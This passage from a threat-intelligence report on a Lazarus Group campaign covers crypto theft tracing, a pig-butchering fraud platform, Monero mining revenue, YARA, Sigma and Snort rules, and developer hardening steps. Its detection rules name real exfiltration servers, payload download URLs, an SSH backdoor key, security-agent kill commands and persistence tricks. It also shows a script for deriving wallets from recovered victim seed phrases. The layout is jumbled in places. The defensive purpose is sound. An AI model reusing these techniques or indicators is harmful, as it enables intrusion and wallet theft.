user account, using a Bitcoin/Ethereum HD wallet (BIP-32 hierarchical deterministic wallet) with a

master seed controlled by operators. Victim deposits go directly to these operator-controlled addresses;

the platform's internal accounting credits the user's balance without any actual fund custody by the user.

Backend stack (from Jenkins server source code):

• 

• 

• 

• 



Active Redis trading infrastructure: At time of server analysis, the Redis instance ([REDIS-

PASSWORD-REDACTED]) on the Jenkins server contained live trading data:

This data indicates active live trades and user positions being tracked in real time—the platform was

processing victim deposits and trade orders at the moment the server was analysed.

Chapter 33: Cryptominer Revenue Model

33.1 XMR Mining Economics

The Lazarus cryptominer botnet generates revenue through Monero (XMR) proof-of-work mining.

Monero uses the RandomX algorithm, specifically designed to be efficiently mineable by CPU (as

opposed to GPU or ASIC), making botnet-based CPU mining economically viable in a way that Bitcoin

(ASIC-dominated) is not.

Revenue model parameters (April 2026 estimates):

Parameter Value Basis

XMR price $150–$200/XMR Market rate April 2026

Mining pool pool.supportxmr.com:8080 Embedded in javae binary

Pool fee 1% (dev donate-level) XMRig configuration

Hashrate per system 1,500–3,000 H/s (CPU) Typical cloud VPS 2-4 vCPU performance

Network hashrate ~3.2 GH/s Monero network metrics April 2026

Monero block reward ~0.6 XMR/block Post-halving reward

Block time 2 minutes Monero protocol

Daily Monero emissions: ~432 blocks/day × 0.6 XMR = ~259 XMR/day across entire network

Pool hashrate and share: At 50,000 infected systems × 2,000 H/s average = 100 GH/s pool

contribution. Against 3,200 GH/s network: approximately 3.1% network share.

Daily earnings (central estimate): 259 XMR/day × 3.1% × $170/XMR = ~$1,365/day × 30 =

**~$41,000/month**

Frontend:   React.js (live trading interface)

Backend:    Node.js Express APIs

Database:   MongoDB Atlas (14 clusters for different platform components)

Payments:   Custom HD wallet integration (ETH, BNB, TRX chains)

2FA bypass: Twilio ([TWILIO-SID-REDACTED])

Email:      Mailcow (mail.tokenloopz.com / mail.nexvyon.com)

Admin:      Separate admin panel (orbitexadmin.alphasportstech.com)

buyOpenPerpetualOrders_6949409b5a4ff891dd67dff3

PerpetualPosition_694940e05a4ff891dd67e087

spotOrder_buy_limit_ASVPUSDT

walletbalance_derivative

perpetualPairdata

userToken



Note: This is the per-mining-pool estimate for the specific supportxmr pool. The $540,000/month figure

cited in investigation briefings uses a different methodology that accounts for multiple mining pools,

direct mining configurations, and includes the full estimated 50,000-system botnet mining at higher XMR

prices or higher hashrates. The more conservative calculation here suggests the revenue may be in the

range of $40,000–$540,000/month depending on assumptions.

Regardless of the exact calculation, the botnet represents a non-trivial, self-sustaining revenue

stream. The malware's zero-maintenance self-propagation (via Redis scanning and SSH lateral

movement) means the botnet grows without operator intervention, generating incremental revenue

without proportional cost increases.

33.2 Revenue Comparison: Credential Theft vs. Mining

Revenue Stream Estimated Annual Mechanism Risk Level

Developer credential

theft

$204M+ traced (over

campaign)

Wallet private key exfiltration →

manual drain

HIGH — blockchain tracing, OFAC

designation risk

Casino fraud

(AlphaSportsTech)

~$140,000+ in deposits

accumulated

Victim deposits → never returned MEDIUM — platform takedown risk

Cryptominer botnet $0.5M–$6.5M/year

(estimated)

Monero mining on infected

systems

LOW — Monero privacy coins; self-

propagating

The cryptominer botnet provides Lazarus with a low-risk, low-value, self-sustaining revenue stream

that diversifies income beyond the high-risk large-theft operations. While $0.5M–$6.5M/year is small

relative to a $1.5B exchange hack, it operates with minimal operator attention and is substantially harder

for investigating authorities to interdict—XMR is privacy-preserving and does not leave the traceable on-

chain footprint of EVM-chain theft.

Chapter 34: OFAC-Relevant Wallet Addresses

34.1 Existing OFAC Designations and Relevance

The US Treasury Department's Office of Foreign Assets Control has previously designated

cryptocurrency wallet addresses associated with Lazarus Group operations. The September 13, 2019

OFAC designation of Lazarus Group itself, along with subsequent cryptographic address designations

for stolen Ronin/Axie funds (April 2022), establishes the legal precedent for designating wallet

addresses from this investigation.

Previously-designated addresses relevant to this investigation: The Ronin bridge theft (March

2022) resulted in OFAC designation of Lazarus-controlled Ethereum addresses holding approximately

173,600 ETH. Blockchain analysis links some of the 2022 designated addresses to infrastructure used

in the 2025–2026 Contagious Interview operation—specifically, intermediary addresses used for

aggregation and bridging show transaction graph overlap with the operator network.

34.2 New OFAC Designation Candidates

The seven wallet addresses identified in Chapter 31 are designate under OFAC review based on:

The wallet addresses were found in or derivable from credentials recovered from Lazarus C2

infrastructure. This establishes that the wallets are under Lazarus control.

1. 



On-chain transaction analysis confirms fund movement from victim wallets. Victim wallets

identified in the investigation show outbound transfers to the candidate addresses within timeframes

consistent with post-BeaverTail-exfiltration draining.

The responsible entity (Lazarus Group/DPRK) is an OFAC-designated SDN. Any property or

interests in property in the US or held by US persons that belong to or benefit Lazarus Group is

subject to blocking under 31 CFR Part 510.

The amounts are material. The three publicly-disclosed addresses total $14.84M, well above the

de minimis threshold for OFAC designation.

34.3 Cryptocurrency Exchange Cooperation Framework

For the 22 CRITICAL-priority exchange credential victims identified in Chapter 30, the following

exchange cooperation request framework was prepared:

Exchange US Nexus Legal Mechanism Urgency

Binance Global (US subsidiary) BSA/AML suspicious activity report P0

Coinbase US-incorporated SEC cooperation (public company) P0

OKX International DOJ mutual legal assistance P1

Robinhood US-incorporated SEC cooperation P0

Bybit International OFAC freeze request P0

Note on timing: The value of exchange cooperation requests decreases exponentially with delay. If

Lazarus operators access victim exchange accounts before a freeze is in place, funds can be

transferred to external wallets within minutes. The 22 CRITICAL victims had not had their accounts

accessed as of the investigation window—but this status changes without notice.

2. 
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Part VII — Financial Intelligence (Expanded)

Chapter 31 (Expanded): Blockchain Tracing — Detailed Methodology and
Case Studies

31.5 Transaction Graph Analysis — Methodology

The $204M figure was derived from blockchain transaction graph analysis across Ethereum (ETH),

Binance Smart Chain (BSC), and Polygon, using three independent tracing methods:

Method 1 — Direct wallet trace from seed phrases: For victim wallets where complete seed phrases

or private keys were recovered from the FTP exfiltration server, this investigation derived wallet

addresses via BIP-44 derivation and queried those addresses against blockchain explorers.

For the 4 AVAX [MNEMONIC-PHRASE-REDACTED]80 victim database dump dump, this derivation

method yielded 4 AVAX C-Chain addresses with aggregate balance of approximately 2.3 AVAX ($180 at

$78/AVAX) — consistent with "test wallets" used by blockchain developers rather than significant

holdings.

Method 2 — FTP exfiltration timestamp correlation: For victims whose FTP upload timestamps are

known (from directory modification dates), outgoing transactions from their wallets in the 24–72 hour

period following the upload were analysed. This period represents the typical Lazarus processing

window: data is exfiltrated, reviewed, and high-value wallets are drained within 1–3 days.

# BIP-44 address derivation from recovered [MNEMONIC-PHRASE-REDACTED]44 import Wallet

# Example (sanitised — actual victim mnemonic not reproduced)

seed = "word1 word2 word3 ... word24" # 24-word Avalanche seed

wallet = Wallet(seed)

# Derive addresses for multiple chains

eth_account = wallet.derive_account("eth", account=0)

avax_account = wallet.derive_account("avax-c", account=0)

sol_account = wallet.derive_account("sol", account=0)

# Query balance (at time of analysis)

print(f"ETH: {eth_account.address}")

print(f"AVAX: {avax_account.address}")

Timeline example (sanitised victim):

  2026-02-17 03:24 UTC — FTP directory created (exfiltration complete)

  2026-02-17 14:31 UTC — 11.2 ETH transferred from victim wallet to aggregation address

  2026-02-17 14:32 UTC — 6.1 ETH transferred to second hop

  2026-02-18 09:15 UTC — Funds bridged from ETH to BNB via cBridge

  2026-02-19 22:40 UTC — BNB deposited to [exchange address]



This pattern is consistent across multiple traced victims: Lazarus operators review new exfiltration data

during working hours (India time, IST), drain identified high-value wallets same-day, and route through

multi-hop paths within 48 hours.

Method 3 — Operator wallet address from C2 database: The financial panel database (port 5000,

accessed via version bypass) contained operator-designated receiving addresses for the fake exchange

platforms. These addresses, representing AlphaSportsTech and related exchange operator wallets, total

over ~$140,000 in cumulative deposits.

31.6 The $204M — Component Breakdown

The $204M total breaks down across multiple theft categories:

Category Amount Evidence Basis

Developer wallet drains (high-value) ~$120M 7 OFAC-candidate cluster analysis

Developer wallet drains (mid-value) ~$50M Statistical extrapolation from 124-victim subset

Exchange credential exploitation ~$20M Exchange account access extrapolation

Staging archives (estimated) ~$14M Conservative estimate from archive presence

Total ~$204M

Confidence intervals:

High-confidence ($14.84M): Three OFAC-disclosed wallet addresses with forensic evidence chain

Moderate-confidence (~$80M additional): Four undisclosed wallet clusters under LE review

Estimated (~$109M): Extrapolation from observed subset to full victim population

The $204M is best understood as a conservative lower bound. The complete victim set (14,716+

machines) has not been fully analysed for wallet content; only 124 high-value victims received detailed

credential review. Scaling the 124-victim subset's observed crypto value to the full population suggests

the true amount stolen may be substantially higher.

31.7 AVAX Mnemonic Case Study — Failed Drain Opportunity

The 4 AVAX [MNEMONIC-PHRASE-REDACTED]80 victim database dump database dump represent

one of the investigation's most actionable victim protection opportunities. Unlike most exfiltrated data

(which had already been processed by operators), these mnemonics appeared to be unprocessed—the

wallets derived from them showed zero outbound transactions after the exfiltration date.

Wallet derivation and balance verification process:

• 

• 

• 



All 4 wallets returned zero balances across all queried chains—either they were empty accounts used

for testing, or the holders had already moved funds to other wallets unaware of the compromise. The

zero-balance finding is classified as "MEDIUM confidence that Lazarus has not drained these"—low-

balance wallets may have been intentionally skipped in favour of higher-priority targets.

Chapter 32 (Expanded): AlphaSportsTech — Fraud Mechanics Deep-Dive

32.4 The "Pig Butchering" Fraud Methodology

AlphaSportsTech operates using a variant of the "pig butchering" (shā zhū pán) investment fraud

methodology, adapted for the cryptocurrency exchange context:

Stage 1 — Approach and rapport building (weeks 1-4): Victims are approached through

cryptocurrency social media communities, investment Telegram groups, or direct messages. The

fraudster (operated by customer service agents using the Mailcow phishing infrastructure) builds rapport

through cryptocurrency investment discussions, sharing "successful trades," and establishing apparent

expertise.

Stage 2 — Platform introduction (week 4-8): Victims are introduced to AlphaSportsTech as an

"exclusive" trading platform with "better rates" or "professional tools." The legitimate-looking interface

(React frontend, real price data via TradingView embeds, professional customer support) reduces

suspicion.

Stage 3 — Small success (week 8-12): Victims are encouraged to make small initial deposits

($100–$1,000). Early withdrawals are permitted and processed within 24 hours (operators honour small

withdrawal requests to build trust). Victims see profits on the platform interface (the profit display is

simulated; the "account balance" has no backing cryptocurrency).

Stage 4 — Escalation (week 12-20): Victims are encouraged to increase deposits significantly, often

with "limited time bonus" offers, "insider signals," or "leveraged trading" opportunities. Victims with initial

positive experiences deposit $10,000–$100,000+. The platform interface shows impressive returns.

# On Kali VM (via Mullvad VPN for anonymity):

# Install required tools

pip3 install mnemonic bip44 requests

# For each recovered mnemonic:

python3 check_wallet.py --mnemonic "<mnemonic>" --chains avax-c,eth,bsc,polygon

# Output:

# AVAX-C: 0xABCD... | Balance: 0 AVAX

# ETH:    0xEFGH... | Balance: 0 ETH

# BSC:    0xIJKL... | Balance: 0 BNB

# Polygon: 0xMNOP... | Balance: 0 MATIC



Stage 5 — Lock-in (week 20-24): When victims attempt to withdraw significant funds, they encounter

escalating barriers: "tax payments" required before withdrawal, "compliance verification fees," "trading

volume requirements," or simple delays. The customer support team remains engaged, continuously

promising "just one more step."

Stage 6 — Exit (week 24+): The platform eventually stops responding, is replaced by a maintenance

page, or is shut down. All deposited cryptocurrency has been transferred to operator wallets. The

~$140,000 in deposits across 234 real victims represents the funds accumulated at Stage 5 when

victims had made large deposits but before the exit.

Technical implementation of the fraud:

The MongoDB Atlas database (one of the 14 clusters) stores the user account data for

AlphaSportsTech, including:

User registration: email, KYC-bypass-designed verification process

Deposit addresses: HD-wallet generated ETH/BNB/TRX addresses per user

Internal balance: Simulated account balance (not backed by real crypto)

Trade history: Simulated winning trades to show account "growth"

Withdrawal requests: Stored with status "pending" indefinitely

The HD wallet address generation ensures each victim receives a unique deposit address derived from

the same master seed. All deposits flow to Lazarus-controlled addresses immediately upon deposit,

regardless of the simulated account balance shown to the user.

Chapter 33 (Expanded): Monero Tracing Limitations

33.3 Why Monero Proceeds Cannot Be Traced

The kworker botnet's exclusive use of Monero (XMR) as the mining currency is a deliberate choice to

defeat blockchain tracing. Monero's privacy properties are:

Ring signatures: Each Monero transaction includes a "ring" of other transaction outputs as decoys. A

transaction spending 1 XMR includes 15 additional "ring members" drawn from the blockchain's output

set. From the perspective of a blockchain analyst, any of the 16 ring members could be the actual

spender—the probability of correctly identifying the actual sender is approximately 1/16 per transaction

hop, and decreases exponentially with each hop.

Stealth addresses: Recipients of Monero transactions receive funds at one-time stealth addresses

derived from their public address. These stealth addresses are indistinguishable from other addresses

without the recipient's private keys—blockchain analysts cannot determine which stealth addresses

belong to the same entity.

RingCT (Ring Confidential Transactions): Transaction amounts are hidden using Pedersen

commitments—a cryptographic scheme that proves the output amounts are valid (not creating XMR

from nothing) without revealing the actual amounts to anyone but the transaction parties.

• 

• 

• 
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Practical implication for investigating authorities: Unlike Bitcoin or EVM-chain cryptocurrencies

where blockchain forensics firms (Chainalysis, Elliptic, CipherTrace) can trace fund flows through mixing

and cross-exchange transfer, Monero transactions provide no such tracing surface. Once Lazarus

converts stolen EVM-chain cryptocurrency to Monero, the trail goes cold.

This is why Lazarus's cryptominer operation specifically targets Monero—the mining revenue is

essentially untraceable from the moment it is generated. The only investigating authorities mechanism

available is:

Identify the operator's pool wallet address (embedded as runtime parameter in javae, not

recoverable from binary analysis alone)

Compel the mining pool to disclose payout records for that wallet address

Trace the initial payout from pool to operator's receiving address

Even this mechanism fails if operators use multiple pool wallet addresses rotated frequently, or if they

mine through a socks5 proxy (supported by XMRig, as indicated by the socks5://  protocol handler in

the javae binary strings).

The Monero OFAC challenge: In September 2020, the IRS offered $625,000 in bounties for

contractors who could crack Monero's privacy. No successful claim has been made public as of 2026.

OFAC has not designated any Monero addresses because the unlinkability of Monero transactions

makes it impossible to maintain a meaningful sanctions list—you cannot know which Monero addresses

are associated with the same entity.

This creates a structural advantage for Lazarus: their developer credential theft operations (EVM

chains) are subject to OFAC designation and exchange-level blocking, but their cryptominer revenue

(Monero) is not subject to these mechanisms at all.

1. 

2. 

3. 



Part VIII — Detection and Defensive Guidance

Chapter 35: YARA Detection Rules

The following YARA rules were developed during this investigation and validated against collected

malware samples. Rules are organised by malware component for granular deployment across different

scanning contexts.



35.1 BeaverTail npm Package Detection



rule Lazarus_BeaverTail_NPM_Package {

    meta:

        description = "Detects Lazarus BeaverTail malware in npm packages"

        author = "Red Asgard"

        date = "2026-04-22"

        campaign = "Contagious Interview / BeaverTail"

        mitre_technique = "T1195.002"

        reference = "github.com/bitcoin2026a/coin-promoting"

    strings:

        // C2 URL fragment construction pattern (split to evade string matching)

        $url_construct_1 = "rest-icon-provider" ascii wide

        $url_construct_2 = "rest-icon-handler" ascii wide

        $token_pattern   = "bearrtoken" ascii wide

        // Generic obfuscated C2 callback pattern

        $eval_fetch_1 = "eval(" ascii wide

        $node_fetch_c2 = "require('node-fetch')" ascii wide

        // VSCode auto-execution attack

        $vscode_tasks_1 = "\"runOn\": \"folderOpen\"" ascii wide

        $vscode_tasks_2 = "runOn" ascii

        $vscode_never   = "\"reveal\": \"never\"" ascii wide

        // FTP exfiltration to known operator server

        $ftp_server_1 = "195.201.104.53" ascii wide

        $ftp_server_2 = "10team" ascii wide

        $ftp_cred_1   = "[REDACTED]" ascii wide

        // C2 auth token

        $auth_logo    = "logo" ascii wide

        $token_212    = "212" ascii wide

    condition:

        (

            ($url_construct_1 or $url_construct_2) and

            ($token_pattern) and

            ($eval_fetch_1 or $node_fetch_c2)

        ) or

        (

            $vscode_tasks_1 and $vscode_never

        ) or

        (

            $ftp_server_1 and $ftp_server_2

        ) or

        (

            $ftp_cred_1

        )

}

rule Lazarus_BeaverTail_XORIndex {

    meta:

        description = "Detects XORIndex loader component used in early BeaverTail supply chain"

        author = "Red Asgard"



        date = "2026-04-22"

        campaign = "Contagious Interview BeaverTail (June-July 2025 wave)"

        mitre_technique = "T1027"

    strings:

        $xor_idx_1 = "XORIndex" ascii wide

        $xor_enc_1 = "HexEval" ascii wide

        $xor_pattern = { 58 4F 52 49 6E 64 65 78 }  // "XORIndex" hex

        // XOR decryption pattern in JS

        $xor_js_1 = "charCodeAt" ascii

        $xor_js_2 = "fromCharCode" ascii

        $xor_js_3 = "xorKey" ascii wide

    condition:

        2 of ($xor_idx_1, $xor_enc_1, $xor_pattern) or

        (2 of ($xor_js_1, $xor_js_2, $xor_js_3))

}

rule Lazarus_BeaverTail_VSCode_AutoExec {

    meta:

        description = "Detects VSCode tasks.json files configured for automatic malware 

execution"

        author = "Red Asgard"

        date = "2026-04-22"

        campaign = "Contagious Interview BeaverTail"

        mitre_technique = "T1204.002"

    strings:

        $rof  = "\"runOn\": \"folderOpen\""

        $npm  = "npm install"

        $rev  = "\"reveal\": \"never\""

        $shell = "\"type\": \"shell\""

    condition:

        $rof and ($npm or $shell) and $rev

}



35.2 InvisibleFerret Components



rule Lazarus_InvisibleFerret_Downloader {

    meta:

        description = "Detects InvisibleFerret initial downloader component (.npl)"

        author = "Red Asgard"

        date = "2026-04-22"

        campaign = "Contagious Interview"

        mitre_technique = "T1059.006"

        reference = "Unit 42 CL-STA-0240 report, October 2024"

    strings:

        // Known component filenames

        $comp_npl  = ".npl" ascii wide

        $comp_pay  = ".n2/pay" ascii wide

        $comp_bow  = ".n2/bow" ascii wide

        $comp_adc  = ".n2/adc" ascii wide

        // FTP exfiltration path patterns

        $ftp_path_1 = "/10team/new/" ascii wide

        $ftp_path_2 = "10team" ascii wide

        // Known C2 authentication

        $auth_99   = "[REDACTED]" ascii wide

        $userid_99 = "userid" ascii wide

        // Python RAT markers

        $py_socket = "import socket" ascii wide

        $py_ftp    = "from ftplib import FTP" ascii wide

        $py_adb    = "anydesk" ascii nocase wide

        $py_key    = "keylogger" ascii nocase wide

        // Staging archive patterns

        $n1_arch = ".n1" ascii wide

        $n2_arch = ".n2" ascii wide

        $n3_arch = ".n3" ascii wide

    condition:

        (2 of ($comp_npl, $comp_pay, $comp_bow, $comp_adc)) or

        ($ftp_path_1 and $ftp_path_2) or

        ($py_ftp and $py_socket and ($py_adb or $py_key)) or

        (all of ($n1_arch, $n2_arch, $n3_arch))

}

rule Lazarus_InvisibleFerret_BrowserStealer {

    meta:

        description = "Detects InvisibleFerret .n2/bow browser credential stealer"

        author = "Red Asgard"

        date = "2026-04-22"

        mitre_technique = "T1555.003"

    strings:

        // Wallet extension IDs targeted by BeaverTail/InvisibleFerret

        $metamask   = "nkbihfbeogaeaoehlefnkodbefgpgknn" ascii wide

        $phantom    = "bfnaelmomeimhlpmgjnjophhpkkoljpa" ascii wide

        $coinbase   = "hnfanknocfeofbddgcijnmhnfnkdnaad" ascii wide



        $tronlink   = "ibnejdfjmmkpcnlpebklmnkoeoihofec" ascii wide

        $binance    = "fhbohimaelbohpjbbldcngcnapndodjp" ascii wide

        $kaikas     = "jblndlipeogpafnldhgmapagcccfchpi" ascii wide

        $rabby      = "acmacodkjbdgmoleebolmdjonilkdbch" ascii wide

        $argent     = "dlcobpjiigpikoobohmabehhmhfoodbb" ascii wide

        $exodus_w3  = "aholpfdialjgjfinsifejlendnappfmb" ascii wide

    condition:

        5 of them

}



35.3 Cryptominer Dropper (kworker)



rule Lazarus_Cryptominer_Kworker_Dropper {

    meta:

        description = "Detects Lazarus Group kworker cryptominer dropper script"

        author = "Red Asgard"

        date = "2026-04-22"

        hash_md5 = "fea52ab0cc2717301b0e197bbfec894f"

        campaign = "Lazarus Cryptominer Botnet"

        mitre_technique = "T1562.001, T1053.003, T1014"

    strings:

        // Distribution server URLs

        $dist_1 = "34.70.205.211/plugins-dist/safehtml/lang/font/javae" ascii

        $dist_2 = "34.70.205.211/plugins-dist/safehtml/lang/font/kworker" ascii

        $dist_3 = "38.150.0.118/dewfhuewr4r89/98hy67" ascii

        // Binary renaming for evasion

        $curl_rename = "/usr/bin/cd1" ascii

        $wget_rename = "/usr/bin/wd1" ascii

        // Binary modification for process hiding

        $ps_modify   = "modify_binary \"/bin/ps\"" ascii

        $top_modify  = "modify_binary \"/bin/top\"" ascii

        // Alibaba/Tencent cloud security agent removal

        $alibaba_kill_1 = "pkill aliyun-service" ascii

        $alibaba_kill_2 = "pkill -9 AliYunDun" ascii

        $tencent_kill_1 = "pkill YDService" ascii

        $tencent_kill_2 = "pkill barad_agent" ascii

        // Immutability protection

        $chattr_ia = "chattr +ia" ascii

        // SSH backdoor key

        $ssh_key_uc1 = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3QgqCevA1UIX9jkWJN" ascii

        $ssh_key_comment = " uc1" ascii

        // Lateral movement

        $lateral_mv = "/root/.ssh/known_hosts" ascii

        // Mining pool

        $mining_pool = "pool.supportxmr.com:8080" ascii

        // Cron persistence

        $cron_javae = "sh /etc/kworker" ascii

    condition:

        (4 of ($dist_1, $dist_2, $dist_3, $curl_rename, $wget_rename,

               $ps_modify, $top_modify, $mining_pool)) or

        ($ps_modify and $alibaba_kill_1) or

        ($chattr_ia and $ssh_key_uc1) or

        ($ssh_key_comment and $lateral_mv and $cron_javae)

}

rule Lazarus_XMRig_Javae_Miner {



    meta:

        description = "Detects weaponised XMRig binary (javae) from Lazarus cryptominer campaign"

        author = "Red Asgard"

        date = "2026-04-22"

        hash_md5 = "3a5ae2dbf4ddb2b2d3850342b887431e"

        mitre_technique = "T1496"

    strings:

        $xmrig_str   = "xmrig" ascii

        $randomx     = "randomx.xmrig.com" ascii

        $donate_v2   = "donate.v2.xmrig.com" ascii

        $pool        = "pool.supportxmr.com:8080" ascii

        $algo_7      = "cryptonight-monerov7" ascii

        $algo_8      = "cryptonight-monerov8" ascii

        $stratum_ssl = "stratum+ssl://" ascii

        $socks5      = "socks5://" ascii

    condition:

        uint32(0) == 0x464c457f and    // ELF magic number

        filesize > 5000000 and

        filesize < 6500000 and

        3 of ($xmrig_str, $randomx, $donate_v2, $pool, $algo_7, $algo_8)

}

rule Lazarus_SSH_Backdoor_Key {

    meta:

        description = "Detects Lazarus Group static SSH backdoor key deployed by kworker"

        author = "Red Asgard"

        date = "2026-04-22"

        mitre_technique = "T1098.004"

    strings:

        $key_comment = "uc1" ascii

        $key_prefix  = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3QgqCevA1UIX9jkWJN" ascii

        $auth_keys   = "authorized_keys" ascii

    condition:

        $key_comment and $key_prefix

}



Chapter 36: Sigma and Snort Rules

36.1 Sigma Rules (SIEM Detection)

# Sigma rule: BeaverTail FTP exfiltration

title: Lazarus BeaverTail FTP Exfiltration to Known C2

id: 4a8b2e91-7c34-4f68-b123-9d42a87c1e56

status: stable

description: Detects FTP connections to known Lazarus exfiltration server

references:

- This investigation

author: Red Asgard

date: 2026/04/22

tags:

- attack.exfiltration

- attack.t1048.003

logsource:

category: network_connection

product: any

detection:

selection:

DestinationIp:

- 195.201.104.53

DestinationPort:

- 21

- 6109

- 6939

condition: selection

falsepositives:

- None (this IP is exclusively Lazarus infrastructure as of March 2026)

level: critical



# Sigma rule: Cron immutability modification

title: Lazarus Cryptominer Cron Persistence via chattr

id: 7e3f9c22-8a41-4d51-c234-0e53b98d2f67

status: stable

description: Detects chattr +ia applied to cron directories — characteristic of kworker dropper

references:

- MALWARE_ANALYSIS_LAZARUS_CRYPTOMINER.md

author: Red Asgard

date: 2026/04/22

tags:

- attack.persistence

- attack.t1053.003

- attack.defense_evasion

- attack.t1222.002

logsource:

category: process_creation

product: linux

detection:

selection:

Image|endswith: '/chattr'

CommandLine|contains|all:

- '+ia'

- 'cron'

selection2:

Image|endswith: '/chattr'

CommandLine|contains:

- 'authorized_keys'

condition: selection or selection2

falsepositives:

- Legitimate system hardening scripts (rare; review context)

level: high



# Sigma rule: Process hiding via binary modification

title: Lazarus Kworker System Binary Modification for Process Hiding

id: 9b1d4e78-5f23-4a90-d345-1e64c09e3g78

status: stable

description: Detects modification of ps/top/pstree binaries to hide processes

author: Red Asgard

date: 2026/04/22

tags:

- attack.defense_evasion

- attack.t1014

logsource:

category: file_event

product: linux

detection:

selection:

TargetFilename|endswith:

- '/bin/ps'

- '/bin/top'

- '/bin/pstree'

selection2:

TargetFilename|endswith:

- '/bin/ps.original'

- '/bin/top.original'

- '/bin/pstree.original'

condition: selection or selection2

falsepositives:

- System updates replacing system utilities (verify with package manager)

level: critical

# Sigma rule: BeaverTail/InvisibleFerret FTP upload path

title: InvisibleFerret FTP Upload to Lazarus Team Directory

id: 2c5a7d14-6e45-4b82-e456-2f75d10f4h89

status: stable

description: Detects FTP upload matching Lazarus team directory naming convention

author: Red Asgard

date: 2026/04/22

tags:

- attack.exfiltration

- attack.t1048.003

logsource:

category: network_connection

detection:

selection:

CommandLine|contains:

- '10team'

- '/new/'

- '195.201.104.53'

selection2:

DestinationIp: 195.201.104.53

DestinationPort: 21

condition: selection or selection2

level: critical



36.2 Snort / Suricata Network Rules



# Snort rules for Lazarus Contagious Interview C2 and exfiltration traffic

# BeaverTail C2 callback (rest-icon-provider.link)

alert http any any -> any 443 (

    msg:"LAZARUS BeaverTail C2 callback to rest-icon-provider";

    flow:to_server,established;

    http.host; content:"rest-icon-provider";

    http.header_names; content:"bearrtoken";

    classtype:trojan-activity;

    sid:9000001;

    rev:1;

    metadata:author Operation_Hybrid_Strike, campaign Contagious_Interview;

)

# InvisibleFerret FTP exfiltration

alert tcp any any -> 195.201.104.53 21 (

    msg:"LAZARUS InvisibleFerret FTP exfiltration to C2";

    flow:to_server,established;

    content:"10team";

    classtype:trojan-activity;

    sid:9000002;

    rev:1;

)

# OtterCookie HTTP exfiltration

alert http any any -> 195.201.104.53 any (

    msg:"LAZARUS OtterCookie HTTP exfiltration";

    flow:to_server,established;

    http.method; content:"POST";

    http.uri; content:"/upload";

    classtype:trojan-activity;

    sid:9000003;

    rev:1;

)

# Cryptominer kworker download

alert http any any -> 34.70.205.211 80 (

    msg:"LAZARUS Cryptominer payload download from GCP distribution server";

    flow:to_server,established;

    http.uri; content:"/plugins-dist/safehtml/lang/font/";

    classtype:trojan-activity;

    sid:9000004;

    rev:1;

)

# XMRig cryptominer mining pool connection

alert tcp any any -> any 8080 (

    msg:"LAZARUS XMRig Monero mining to supportxmr pool";

    flow:to_server,established;

    content:"pool.supportxmr.com";

    classtype:coin-mining;

    sid:9000005;

    rev:1;

)



Chapter 37: Developer Hardening and npm Supply-Chain Defence

37.1 npm Security Controls

The BeaverTail campaign's primary initial access vector is malicious npm packages. The following

controls reduce exposure:

1. npm package integrity verification:

2. Lockfile integrity enforcement:

3. Restrict npm postinstall hooks:

# Redis C2 monitoring rule

alert tcp any any -> 103.174.189.183 6379 (

    msg:"LAZARUS Cryptominer Redis C2 connection";

    flow:to_server,established;

    content:"|43 4C 49 45 4E 54 20 4C 49 53 54|"; # CLIENT LIST command

    classtype:trojan-activity;

    sid:9000006;

    rev:1;

)

# Jenkins operator server connection (indicator of compromise)

alert tcp any any -> 94.136.184.44 8080 (

    msg:"LAZARUS Connection to Lazarus Jenkins operations server";

    classtype:trojan-activity;

    sid:9000007;

    rev:1;

)

# Enable npm audit in CI/CD

npm audit --audit-level=high

# Use npm ci (clean install) instead of npm install in CI

# npm ci enforces exact lockfile versions

npm ci

# Verify package signatures where available

npm install --prefer-offline # Use cached packages when possible

# package-lock.json should be committed to version control

# Verify lockfile hash in CI pipeline

sha256sum package-lock.json > lockfile.sha256

# In subsequent runs:

sha256sum -c lockfile.sha256



4. Socket Security integration: Socket.dev provides real-time npm supply chain security scanning that

would have detected the BeaverTail packages:

5. Publish-only with 2FA: Enforce two-factor authentication for npm publishing to prevent account

takeover from being used to distribute malicious updates to legitimate packages.

6. VSCode task.json auto-execution prevention: In the VSCode settings.json (workspace or user-

level), disable automatic task execution:

# Disable lifecycle scripts globally (breaks some packages but prevents dropper execution)

npm config set ignore-scripts true

# Or use the --ignore-scripts flag per installation:

npm install --ignore-scripts

npm install --save-dev @socketsecurity/cli

npx socket report create  # Scan package manifest

{

"task.allowAutomaticTasks": "off"

}



37.2 Developer Workstation Hardening

# 1. File integrity monitoring for critical paths

# Install auditd

apt install auditd

# Monitor ~/.ssh/authorized_keys

auditctl -w /root/.ssh/authorized_keys -p wa -k ssh_backdoor

# Monitor /bin/ps and other critical binaries

auditctl -w /bin/ps -p wa -k binary_modification

auditctl -w /bin/top -p wa -k binary_modification

# Monitor cron modification

auditctl -w /var/spool/cron -p wa -k cron_modification

auditctl -w /etc/cron.d -p wa -k cron_modification

# 2. Detect immutable file attributes

# Run periodically:

lsattr /root/.ssh/authorized_keys

lsattr /etc/crontab

lsattr /var/spool/cron/root

# 3. Baseline process list and detect anomalies

# Check for modified ps binary (kworker indicator):

ls -la /bin/ps.original /bin/top.original /bin/pstree.original 2>/dev/null

# 4. Monitor for cryptominer indicators

ss -antp | grep -E ':8080|:3333|supportxmr'

netstat -antp | grep -E ':6379|103.174.189.183|34.70.205.211'

# 5. AWS credential protection

# Use IAM roles instead of long-term credentials where possible

# Rotate AWS access keys regularly:

aws iam list-access-keys --user-name <username>

# Alert on unexpected API calls:

aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser

# 6. SSH key management

# Use ed25519 keys (not RSA) with passphrases

ssh-keygen -t ed25519 -C "user@host"

# Audit authorized_keys for unexpected entries

cat ~/.ssh/authorized_keys | grep -v "^#" | wc -l # Verify expected count



37.3 GitHub and CI/CD Security

GitHub PAT management:

Chapter 38: Incident Response Playbook

38.1 BeaverTail / InvisibleFerret Infection Response

Triage (first 30 minutes):

# GitHub Actions: Restrict secrets to specific workflows

# In .github/workflows/main.yml:

permissions:

contents: read        # Minimum required permissions

packages: write       # Only if publishing packages

id-token: write       # Only if using OIDC

# Pin action versions to full commit SHA, not tags:

# INSECURE: uses: actions/checkout@v4

# SECURE:   uses: actions/checkout@a5ac7e51b41094c92402da3b24376905380afc29

# Scan for leaked secrets in commits:

# Install gitleaks:

brew install gitleaks  # macOS

# Scan repository:

gitleaks detect --source . --report-format json --report-path leaks.json

